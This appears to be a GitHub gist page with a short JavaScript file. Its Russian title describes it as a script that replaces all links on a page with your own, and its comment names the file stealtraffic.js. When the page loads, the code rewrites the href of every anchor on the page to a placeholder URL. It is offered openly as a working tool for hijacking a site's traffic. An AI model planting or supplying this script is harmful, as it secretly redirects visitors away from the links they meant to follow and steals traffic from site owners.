Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Скрипт для подмены всех ссылок на странице на вашу
//Подключаем как <script src="stealtraffic.js"></script>
window.onload = function() {
var anchors = document.getElementsByTagName("a");
for (var i = 0; i < anchors.length; i++) {
anchors[i].href = "YOUR_URL_GOES_HERE"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment